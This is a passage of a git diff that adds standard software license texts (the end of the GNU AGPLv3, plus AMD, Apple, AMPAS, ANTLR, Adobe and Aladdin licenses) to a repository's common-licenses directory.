+any patent licenses granted under the third paragraph of section 11).
+
+However, if you cease all violation of this License, then your license from
+a particular copyright holder is reinstated (a) provisionally, unless and
+until the copyright holder explicitly and finally terminates your license,
+and (b) permanently, if the copyright holder fails to notify you of the violation
+by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently
+if the copyright holder notifies you of the violation by some reasonable means,
+this is the first time you have received notice of violation of this License
+(for any work) from that copyright holder, and you cure the violation prior
+to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses
+of parties who have received copies or rights from you under this License.
+If your rights have been terminated and not permanently reinstated, you do
+not qualify to receive new licenses for the same material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+You are not required to accept this License in order to receive or run a copy
+of the Program. Ancillary propagation of a covered work occurring solely as
+a consequence of using peer-to-peer transmission to receive a copy likewise
+does not require acceptance. However, nothing other than this License grants
+you permission to propagate or modify any covered work. These actions infringe
+copyright if you do not accept this License. Therefore, by modifying or propagating
+a covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+Each time you convey a covered work, the recipient automatically receives
+a license from the original licensors, to run, modify and propagate that work,
+subject to this License. You are not responsible for enforcing compliance
+by third parties with this License.
+
+An "entity transaction" is a transaction transferring control of an organization,
+or substantially all assets of one, or subdividing an organization, or merging
+organizations. If propagation of a covered work results from an entity transaction,
+each party to that transaction who receives a copy of the work also receives
+whatever licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the Corresponding
+Source of the work from the predecessor in interest, if the predecessor has
+it or can get it with reasonable efforts.
+
+You may not impose any further restrictions on the exercise of the rights
+granted or affirmed under this License. For example, you may not impose a
+license fee, royalty, or other charge for exercise of rights granted under
+this License, and you may not initiate litigation (including a cross-claim
+or counterclaim in a lawsuit) alleging that any patent claim is infringed
+by making, using, selling, offering for sale, or importing the Program or
+any portion of it.
+
+ 11. Patents.
+
+A "contributor" is a copyright holder who authorizes use under this License
+of the Program or a work on which the Program is based. The work thus licensed
+is called the contributor's "contributor version".
+
+A contributor's "essential patent claims" are all patent claims owned or controlled
+by the contributor, whether already acquired or hereafter acquired, that would
+be infringed by some manner, permitted by this License, of making, using,
+or selling its contributor version, but do not include claims that would be
+infringed only as a consequence of further modification of the contributor
+version. For purposes of this definition, "control" includes the right to
+grant patent sublicenses in a manner consistent with the requirements of this
+License.
+
+Each contributor grants you a non-exclusive, worldwide, royalty-free patent
+license under the contributor's essential patent claims, to make, use, sell,
+offer for sale, import and otherwise run, modify and propagate the contents
+of its contributor version.
+
+In the following three paragraphs, a "patent license" is any express agreement
+or commitment, however denominated, not to enforce a patent (such as an express
+permission to practice a patent or covenant not to sue for patent infringement).
+To "grant" such a patent license to a party means to make such an agreement
+or commitment not to enforce a patent against the party.
+
+If you convey a covered work, knowingly relying on a patent license, and the
+Corresponding Source of the work is not available for anyone to copy, free
+of charge and under the terms of this License, through a publicly available
+network server or other readily accessible means, then you must either (1)
+cause the Corresponding Source to be so available, or (2) arrange to deprive
+yourself of the benefit of the patent license for this particular work, or
+(3) arrange, in a manner consistent with the requirements of this License,
+to extend the patent
+
+license to downstream recipients. "Knowingly relying" means you have actual
+knowledge that, but for the patent license, your conveying the covered work
+in a country, or your recipient's use of the covered work in a country, would
+infringe one or more identifiable patents in that country that you have reason
+to believe are valid.
+
+If, pursuant to or in connection with a single transaction or arrangement,
+you convey, or propagate by procuring conveyance of, a covered work, and grant
+a patent license to some of the parties receiving the covered work authorizing
+them to use, propagate, modify or convey a specific copy of the covered work,
+then the patent license you grant is automatically extended to all recipients
+of the covered work and works based on it.
+
+A patent license is "discriminatory" if it does not include within the scope
+of its coverage, prohibits the exercise of, or is conditioned on the non-exercise
+of one or more of the rights that are specifically granted under this License.
+You may not convey a covered work if you are a party to an arrangement with
+a third party that is in the business of distributing software, under which
+you make payment to the third party based on the extent of your activity of
+conveying the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory patent
+license (a) in connection with copies of the covered work conveyed by you
+(or copies made from those copies), or (b) primarily for and in connection
+with specific products or compilations that contain the covered work, unless
+you entered into that arrangement, or that patent license was granted, prior
+to 28 March 2007.
+
+Nothing in this License shall be construed as excluding or limiting any implied
+license or other defenses to infringement that may otherwise be available
+to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+If conditions are imposed on you (whether by court order, agreement or otherwise)
+that contradict the conditions of this License, they do not excuse you from
+the conditions of this License. If you cannot convey a covered work so as
+to satisfy simultaneously your obligations under this License and any other
+pertinent obligations, then as a consequence you may
+
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey the
+Program, the only way you could satisfy both those terms and this License
+would be to refrain entirely from conveying the Program.
+
+ 13. Remote Network Interaction; Use with the GNU General Public License.
+
+Notwithstanding any other provision of this License, if you modify the Program,
+your modified version must prominently offer all users interacting with it
+remotely through a computer network (if your version supports such interaction)
+an opportunity to receive the Corresponding Source of your version by providing
+access to the Corresponding Source from a network server at no charge, through
+some standard or customary means of facilitating copying of software. This
+Corresponding Source shall include the Corresponding Source for any work covered
+by version 3 of the GNU General Public License that is incorporated pursuant
+to the following paragraph.
+
+Notwithstanding any other provision of this License, you have permission to
+link or combine any covered work with a work licensed under version 3 of the
+GNU General Public License into a single combined work, and to convey the
+resulting work. The terms of this License will continue to apply to the part
+which is the covered work, but the work with which it is combined will remain
+governed by version 3 of the GNU General Public License.
+
+ 14. Revised Versions of this License.
+
+The Free Software Foundation may publish revised and/or new versions of the
+GNU Affero General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to address
+new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies
+that a certain numbered version of the GNU Affero General Public License "or
+any later version" applies to it, you have the option of following the terms
+and conditions either of that numbered version or of any later version published
+by the Free Software Foundation. If the Program does not specify a version
+number of the GNU Affero General Public License, you may choose any version
+ever published by the Free Software Foundation.
+
+If the Program specifies that a proxy can decide which future versions of
+the GNU Affero General Public License can be used, that proxy's public statement
+of acceptance of a version permanently authorizes you to choose that version
+for the Program.
+
+Later license versions may give you additional or different permissions. However,
+no additional obligations are imposed on any author or copyright holder as
+a result of your choosing to follow a later version.
+
+ 15. Disclaimer of Warranty.
+
+THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE
+LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
+EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM
+PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR
+CORRECTION.
+
+ 16. Limitation of Liability.
+
+IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL
+ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM
+AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL,
+INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO
+USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED
+INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE
+PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER
+PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+If the disclaimer of warranty and limitation of liability provided above cannot
+be given local legal effect according to their terms, reviewing courts shall
+apply local law that most closely approximates an absolute waiver of all civil
+liability in connection with the Program, unless a warranty or assumption
+of liability accompanies a copy of the Program in return for a fee. END OF
+TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible
+use to the public, the best way to achieve this is to make it free software
+which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach
+them to the start of each source file to most effectively state the exclusion
+of warranty; and each file should have at least the "copyright" line and a
+pointer to where the full notice is found.
+
+<one line to give the program's name and a brief idea of what it does.>
+
+Copyright (C) <year> <name of author>
+
+This program is free software: you can redistribute it and/or modify it under
+the terms of the GNU Affero General Public License as published by the Free
+Software Foundation, either version 3 of the License, or (at your option)
+any later version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more
+details.
+
+You should have received a copy of the GNU Affero General Public License along
+with this program. If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If your software can interact with users remotely through a computer network,
+you should also make sure that it provides a way for users to get its source.
+For example, if your program is a web application, its interface could display
+a "Source" link that leads users to an archive of the code. There are many
+ways you could offer source, and different solutions will be better for different
+programs; see section 13 for the specific requirements.
+
+You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary. For
+more information on this, and how to apply and follow the GNU AGPL, see <https://www.gnu.org/licenses/>.
diff --git a/meta/files/common-licenses/AMDPLPA b/meta/files/common-licenses/AMDPLPA
new file mode 100644
index 0000000000..a58a8525f8
--- /dev/null
+++ b/meta/files/common-licenses/AMDPLPA
@@ -0,0 +1,20 @@
+Copyright (c) 2006, 2007 Advanced Micro Devices, Inc.
+All rights reserved.
+
+Redistribution and use in any form of this material and any product thereof including software in source or binary forms, along with any related documentation, with or without modification ("this material"), is permitted provided that the following conditions are met:
+
+ Redistributions of source code of any software must retain the above copyright notice and all terms of this license as part of the code.
+
+ Redistributions in binary form of any software must reproduce the above copyright notice and all terms of this license in any related documentation and/or other materials.
+
+ Neither the names nor trademarks of Advanced Micro Devices, Inc. or any copyright holders or contributors may be used to endorse or promote products derived from this material without specific prior written permission.
+
+ Notice about U.S. Government restricted rights: This material is provided with "RESTRICTED RIGHTS." Use, duplication or disclosure by the U.S. Government is subject to the full extent of restrictions set forth in FAR52.227 and DFARS252.227 et seq., or any successor or applicable regulations. Use of this material by the U.S. Government constitutes acknowledgment of the proprietary rights of Advanced Micro Devices, Inc. and any copyright holders and contributors.
+
+ ANY BREACH OF ANY TERM OF THIS LICENSE SHALL RESULT IN THE IMMEDIATE REVOCATION OF ALL RIGHTS TO REDISTRIBUTE, ACCESS OR USE THIS MATERIAL.
+
+THIS MATERIAL IS PROVIDED BY ADVANCED MICRO DEVICES, INC. AND ANY COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" IN ITS CURRENT CONDITION AND WITHOUT ANY REPRESENTATIONS, GUARANTEE, OR WARRANTY OF ANY KIND OR IN ANY WAY RELATED TO SUPPORT, INDEMNITY, ERROR FREE OR UNINTERRUPTED OPERATION, OR THAT IT IS FREE FROM DEFECTS OR VIRUSES. ALL OBLIGATIONS ARE HEREBY DISCLAIMED - WHETHER EXPRESS, IMPLIED, OR STATUTORY - INCLUDING, BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, ACCURACY, COMPLETENESS, OPERABILITY, QUALITY OF SERVICE, OR NON-INFRINGEMENT. IN NO EVENT SHALL ADVANCED MICRO DEVICES, INC. OR ANY COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, PUNITIVE, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, REVENUE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED OR BASED ON ANY THEORY OF LIABILITY ARISING IN ANY WAY RELATED TO THIS MATERIAL, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. THE ENTIRE AND AGGREGATE LIABILITY OF ADVANCED MICRO DEVICES, INC. AND ANY COPYRIGHT HOLDERS AND CONTRIBUTORS SHALL NOT EXCEED TEN DOLLARS (US $10.00). ANYONE REDISTRIBUTING OR ACCESSING OR USING THIS MATERIAL ACCEPTS THIS ALLOCATION OF RISK AND AGREES TO RELEASE ADVANCED MICRO DEVICES, INC. AND ANY COPYRIGHT HOLDERS AND CONTRIBUTORS FROM ANY AND ALL LIABILITIES, OBLIGATIONS, CLAIMS, OR DEMANDS IN EXCESS OF TEN DOLLARS (US $10.00). THE FOREGOING ARE ESSENTIAL TERMS OF THIS LICENSE AND, IF ANY OF THESE TERMS ARE CONSTRUED AS UNENFORCEABLE, FAIL IN ESSENTIAL PURPOSE, OR BECOME VOID OR DETRIMENTAL TO ADVANCED MICRO DEVICES, INC. OR ANY COPYRIGHT HOLDERS OR CONTRIBUTORS FOR ANY REASON, THEN ALL RIGHTS TO REDISTRIBUTE, ACCESS OR USE THIS MATERIAL SHALL TERMINATE IMMEDIATELY. MOREOVER, THE FOREGOING SHALL SURVIVE ANY EXPIRATION OR TERMINATION OF THIS LICENSE OR ANY AGREEMENT OR ACCESS OR USE RELATED TO THIS MATERIAL.
+
+NOTICE IS HEREBY PROVIDED, AND BY REDISTRIBUTING OR ACCESSING OR USING THIS MATERIAL SUCH NOTICE IS ACKNOWLEDGED, THAT THIS MATERIAL MAY BE SUBJECT TO RESTRICTIONS UNDER THE LAWS AND REGULATIONS OF THE UNITED STATES OR OTHER COUNTRIES, WHICH INCLUDE BUT ARE NOT LIMITED TO, U.S. EXPORT CONTROL LAWS SUCH AS THE EXPORT ADMINISTRATION REGULATIONS AND NATIONAL SECURITY CONTROLS AS DEFINED THEREUNDER, AS WELL AS STATE DEPARTMENT CONTROLS UNDER THE U.S. MUNITIONS LIST. THIS MATERIAL MAY NOT BE USED, RELEASED, TRANSFERRED, IMPORTED, EXPORTED AND/OR RE- EXPORTED IN ANY MANNER PROHIBITED UNDER ANY APPLICABLE LAWS, INCLUDING U.S. EXPORT CONTROL LAWS REGARDING SPECIFICALLY DESIGNATED PERSONS, COUNTRIES AND NATIONALS OF COUNTRIES SUBJECT TO NATIONAL SECURITY CONTROLS. MOREOVER, THE FOREGOING SHALL SURVIVE ANY EXPIRATION OR TERMINATION OF ANY LICENSE OR AGREEMENT OR ACCESS OR USE RELATED TO THIS MATERIAL.
+
+This license forms the entire agreement regarding the subject matter hereof and supersedes all proposals and prior discussions and writings between the parties with respect thereto. This license does not affect any ownership, rights, title, or interest in, or relating to, this material. No terms of this license can be modified or waived, and no breach of this license can be excused, unless done so in a writing signed by all affected parties. Each term of this license is separately enforceable. If any term of this license is determined to be or becomes unenforceable or illegal, such term shall be reformed to the minimum extent necessary in order for this license to remain in effect in accordance with its terms as modified by such reformation. This license shall be governed by and construed in accordance with the laws of the State of Texas without regard to rules on conflicts of law of any state or jurisdiction or the United Nations Convention on the International Sale of Goods. All disputes arising out of this license shall be subject to the jurisdiction of the federal and state courts in Austin, Texas, and all defenses are hereby waived concerning personal jurisdiction and venue of these courts.
diff --git a/meta/files/common-licenses/AML b/meta/files/common-licenses/AML
new file mode 100644
index 0000000000..a9d91ffc8e
--- /dev/null
+++ b/meta/files/common-licenses/AML
@@ -0,0 +1,9 @@
+Copyright: Copyright (c) 2006 by Apple Computer, Inc., All Rights Reserved.
+
+IMPORTANT: This Apple software is supplied to you by Apple Computer, Inc. ("Apple") in consideration of your agreement to the following terms, and your use, installation, modification or redistribution of this Apple software constitutes acceptance of these terms. If you do not agree with these terms, please do not use, install, modify or redistribute this Apple software.
+
+In consideration of your agreement to abide by the following terms, and subject to these terms, Apple grants you a personal, non-exclusive license, under Apple's copyrights in this original Apple software (the "Apple Software"), to use, reproduce, modify and redistribute the Apple Software, with or without modifications, in source and/or binary forms; provided that if you redistribute the Apple Software in its entirety and without modifications, you must retain this notice and the following text and disclaimers in all such redistributions of the Apple Software. Neither the name, trademarks, service marks or logos of Apple Computer, Inc. may be used to endorse or promote products derived from the Apple Software without specific prior written permission from Apple. Except as expressly stated in this notice, no other rights or licenses, express or implied, are granted by Apple herein, including but not limited to any patent rights that may be infringed by your derivative works or by other works in which the Apple Software may be incorporated.
+
+The Apple Software is provided by Apple on an "AS IS" basis. APPLE MAKES NO WARRANTIES, EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION THE IMPLIED WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, REGARDING THE APPLE SOFTWARE OR ITS USE AND OPERATION ALONE OR IN COMBINATION WITH YOUR PRODUCTS.
+
+IN NO EVENT SHALL APPLE BE LIABLE FOR ANY SPECIAL, INDIRECT, INCIDENTAL OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) ARISING IN ANY WAY OUT OF THE USE, REPRODUCTION, MODIFICATION AND/OR DISTRIBUTION OF THE APPLE SOFTWARE, HOWEVER CAUSED AND WHETHER UNDER THEORY OF CONTRACT, TORT (INCLUDING NEGLIGENCE), STRICT LIABILITY OR OTHERWISE, EVEN IF APPLE HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/AMPAS b/meta/files/common-licenses/AMPAS
new file mode 100644
index 0000000000..0fc771d755
--- /dev/null
+++ b/meta/files/common-licenses/AMPAS
@@ -0,0 +1,13 @@
+Copyright (c) 2006 Academy of Motion Picture Arts and Sciences ("A.M.P.A.S."). Portions contributed by others as indicated. All rights reserved.
+
+A world-wide, royalty-free, non-exclusive right to distribute, copy, modify, create derivatives, and use, in source and binary forms, is hereby granted, subject to acceptance of this license. Performance of any of the aforementioned acts indicates acceptance to be bound by the following terms and conditions:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the Disclaimer of Warranty.
+
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the Disclaimer of Warranty in the documentation and/or other materials provided with the distribution.
+
+ * Nothing in this license shall be deemed to grant any rights to trademarks, copyrights, patents, trade secrets or any other intellectual property of A.M.P.A.S. or any contributors, except as expressly stated herein, and neither the name of A.M.P.A.S. nor of any other contributors to this software, may be used to endorse or promote products derived from this software without specific prior written permission of A.M.P.A.S. or contributor, as appropriate.
+
+This license shall be governed by the laws of the State of California, and subject to the jurisdiction of the courts therein.
+
+Disclaimer of Warranty: THIS SOFTWARE IS PROVIDED BY A.M.P.A.S. AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT ARE DISCLAIMED. IN NO EVENT SHALL A.M.P.A.S., ANY CONTRIBUTORS OR DISTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/ANTLR-PD-fallback b/meta/files/common-licenses/ANTLR-PD-fallback
new file mode 100644
index 0000000000..12bfe73738
--- /dev/null
+++ b/meta/files/common-licenses/ANTLR-PD-fallback
@@ -0,0 +1,7 @@
+ANTLR 2 License
+
+We reserve no legal rights to the ANTLR--it is fully in the public domain. An individual or company may do whatever they wish with source code distributed with ANTLR or the code generated by ANTLR, including the incorporation of ANTLR, or its output, into commerical software.
+
+We encourage users to develop software with ANTLR. However, we do ask that credit is given to us for developing ANTLR. By "credit", we mean that if you use ANTLR or incorporate any source code into one of your programs (commercial product, research project, or otherwise) that you acknowledge this fact somewhere in the documentation, research report, etc... If you like ANTLR and have developed a nice tool with the output, please mention that you developed it using ANTLR. In addition, we ask that the headers remain intact in our source code. As long as these guidelines are kept, we expect to continue enhancing this system and expect to make other tools available as they are completed.
+
+In countries where the Public Domain status of the work may not be valid, the author grants a copyright licence to the general public to deal in the work without restriction and permission to sublicence derivates under the terms of any (OSI approved) Open Source licence.
diff --git a/meta/files/common-licenses/APAFML b/meta/files/common-licenses/APAFML
new file mode 100644
index 0000000000..a7824e26ca
--- /dev/null
+++ b/meta/files/common-licenses/APAFML
@@ -0,0 +1,3 @@
+Copyright (c) 1985, 1987, 1989, 1990, 1991, 1992, 1993, 1997 Adobe Systems Incorporated. All Rights Reserved.
+
+This file and the 14 PostScript(R) AFM files it accompanies may be used, copied, and distributed for any purpose and without charge, with or without modification, provided that all copyright notices are retained; that the AFM files are not distributed without this file; that all modifications to this file or any of the AFM files are prominently noted in the modified file(s); and that this paragraph is not modified. Adobe Systems has no responsibility or obligation to support the use of the AFM files.
diff --git a/meta/files/common-licenses/Abstyles b/meta/files/common-licenses/Abstyles
new file mode 100644
index 0000000000..96027770ec
--- /dev/null
+++ b/meta/files/common-licenses/Abstyles
@@ -0,0 +1,11 @@
+This is APREAMBL.TEX, version 1.10e, written by Hans-Hermann Bode
+(HHBODE@DOSUNI1.BITNET), for the BibTeX `adaptable' family, version 1.10.
+See the file APREAMBL.DOC for a detailed documentation.
+
+This program is distributed WITHOUT ANY WARRANTY, express or implied.
+
+Copyright (C) 1991, 1992 Hans-Hermann Bode
+
+Permission is granted to make and distribute verbatim copies of this document provided that the copyright notice and this permission notice are preserved on all copies.
+
+Permission is granted to copy and distribute modified versions of this document under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.
diff --git a/meta/files/common-licenses/Adobe-2006 b/meta/files/common-licenses/Adobe-2006
new file mode 100644
index 0000000000..d6fb2634a1
--- /dev/null
+++ b/meta/files/common-licenses/Adobe-2006
@@ -0,0 +1,12 @@
+Adobe Systems Incorporated(r) Source Code License Agreement
+Copyright(c) 2006 Adobe Systems Incorporated. All rights reserved.
+
+Please read this Source Code License Agreement carefully before using the source code.
+
+Adobe Systems Incorporated grants to you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license, to reproduce, prepare derivative works of, publicly display, publicly perform, and distribute this source code and such derivative works in source or object code form without any attribution requirements.
+
+The name "Adobe Systems Incorporated" must not be used to endorse or promote products derived from the source code without prior written permission.
+
+You agree to indemnify, hold harmless and defend Adobe Systems Incorporated from and against any loss, damage, claims or lawsuits, including attorney's fees that arise or result from your use or distribution of the source code.
+
+THIS SOURCE CODE IS PROVIDED "AS IS" AND "WITH ALL FAULTS", WITHOUT ANY TECHNICAL SUPPORT OR ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. ALSO, THERE IS NO WARRANTY OF NON-INFRINGEMENT, TITLE OR QUIET ENJOYMENT. IN NO EVENT SHALL MACROMEDIA OR ITS SUPPLIERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOURCE CODE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/Adobe-Glyph b/meta/files/common-licenses/Adobe-Glyph
new file mode 100644
index 0000000000..609651d82e
--- /dev/null
+++ b/meta/files/common-licenses/Adobe-Glyph
@@ -0,0 +1,10 @@
+Copyright (c) 1997,1998,2002,2007 Adobe Systems Incorporated
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this documentation file to use, copy, publish, distribute, sublicense, and/or sell copies of the documentation, and to permit others to do the same, provided that:
+
+ - No modification, editing or other alteration of this document is allowed; and
+ - The above copyright notice and this permission notice shall be included in all copies of the documentation.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this documentation file, to create their own derivative works from the content of this document to use, copy, publish, distribute, sublicense, and/or sell the derivative works, and to permit others to do the same, provided that the derived work is not represented as being a copy or version of this document.
+
+Adobe shall not be liable to any party for any loss of revenue or profit or for indirect, incidental, special, consequential, or other similar damages, whether based on tort (including without limitation negligence or strict liability), contract or other legal or equitable grounds even if Adobe has been advised or had reason to know of the possibility of such damages. The Adobe materials are provided on an "AS IS" basis.Ê Adobe specifically disclaims all express, statutory, or implied warranties relating to the Adobe materials, including but not limited to those concerning merchantability or fitness for a particular purpose or non-infringement of any third party rights regarding the Adobe materials.
diff --git a/meta/files/common-licenses/Afmparse b/meta/files/common-licenses/Afmparse
new file mode 100644
index 0000000000..7c6d37ca65
--- /dev/null
+++ b/meta/files/common-licenses/Afmparse
@@ -0,0 +1,10 @@
+(C) 1988, 1989 by Adobe Systems Incorporated. All rights reserved.
+
+This file may be freely copied and redistributed as long as:
+
+ 1) This entire notice continues to be included in the file,
+ 2) If the file has been modified in any way, a notice of such modification is conspicuously indicated.
+
+PostScript, Display PostScript,and Adobe are registered trademarks of Adobe Systems Incorporated.
+
+THE INFORMATION BELOW IS FURNISHED AS IS, IS SUBJECT TO CHANGE WITHOUT NOTICE, AND SHOULD NOT BE CONSTRUED AS A COMMITMENT BY ADOBE SYSTEMS INCORPORATED. ADOBE SYSTEMS INCORPORATED ASSUMES NO RESPONSIBILITY OR LIABILITY FOR ANY ERRORS OR INACCURACIES, MAKES NO WARRANTY OF ANY KIND (EXPRESS, IMPLIED OR STATUTORY) WITH RESPECT TO THIS INFORMATION, AND EXPRESSLY DISCLAIMS ANY AND ALL WARRANTIES OF MERCHANTABILITY, FITNESS FOR PARTICULAR PURPOSES AND NONINFRINGEMENT OF THIRD PARTY RIGHTS.
diff --git a/meta/files/common-licenses/Aladdin b/meta/files/common-licenses/Aladdin
new file mode 100644
index 0000000000..5d71ff8ec5
--- /dev/null
+++ b/meta/files/common-licenses/Aladdin
@@ -0,0 +1,62 @@
+Aladdin Free Public License
+(Version 8, November 18, 1999)
+
+Copyright (C) 1994, 1995, 1997, 1998, 1999 Aladdin Enterprises, Menlo Park, California, U.S.A. All rights reserved.
+
+NOTE: This License is not the same as any of the GNU Licenses published by the Free Software Foundation. Its terms are substantially different from those of the GNU Licenses. If you are familiar with the GNU Licenses, please read this license with extra care.
+
+Aladdin Enterprises hereby grants to anyone the permission to apply this License to their own work, as long as the entire License (including the above notices and this paragraph) is copied with no changes, additions, or deletions except for changing the first paragraph of Section 0 to include a suitable description of the work to which the license is being applied and of the person or entity that holds the copyright in the work, and, if the License is being applied to a work created in a country other than the United States, replacing the first paragraph of Section 6 with an appropriate reference to the laws of the appropriate country.
+
+0. Subject Matter
+This License applies to the computer program known as "Aladdin Ghostscript." The "Program", below, refers to such program. The Program is a copyrighted work whose copyright is held by Aladdin Enterprises (the "Licensor"). Please note that Aladdin Ghostscript is neither the program known as "GNU Ghostscript" nor the version of Ghostscript available for commercial licensing from Artifex Software Inc.
+
+A "work based on the Program" means either the Program or any derivative work of the Program, as defined in the United States Copyright Act of 1976, such as a translation or a modification.
+
+BY MODIFYING OR DISTRIBUTING THE PROGRAM (OR ANY WORK BASED ON THE PROGRAM), YOU INDICATE YOUR ACCEPTANCE OF THIS LICENSE TO DO SO, AND ALL ITS TERMS AND CONDITIONS FOR COPYING, DISTRIBUTING OR MODIFYING THE PROGRAM OR WORKS BASED ON IT. NOTHING OTHER THAN THIS LICENSE GRANTS YOU PERMISSION TO MODIFY OR DISTRIBUTE THE PROGRAM OR ITS DERIVATIVE WORKS. THESE ACTIONS ARE PROHIBITED BY LAW. IF YOU DO NOT ACCEPT THESE TERMS AND CONDITIONS, DO NOT MODIFY OR DISTRIBUTE THE PROGRAM.
+
+1. Licenses.
+Licensor hereby grants you the following rights, provided that you comply with all of the restrictions set forth in this License and provided, further, that you distribute an unmodified copy of this License with the Program:
+
+ (a) You may copy and distribute literal (i.e., verbatim) copies of the Program's source code as you receive it throughout the world, in any medium.
+ (b) You may modify the Program, create works based on the Program and distribute copies of such throughout the world, in any medium.
+
+2. Restrictions.
+This license is subject to the following restrictions:
+
+ (a) Distribution of the Program or any work based on the Program by a commercial organization to any third party is prohibited if any payment is made in connection with such distribution, whether directly (as in payment for a copy of the Program) or indirectly (as in payment for some service related to the Program, or payment for some product or service that includes a copy of the Program "without charge"; these are only examples, and not an exhaustive enumeration of prohibited activities). The following methods of distribution involving payment shall not in and of themselves be a violation of this restriction:
+
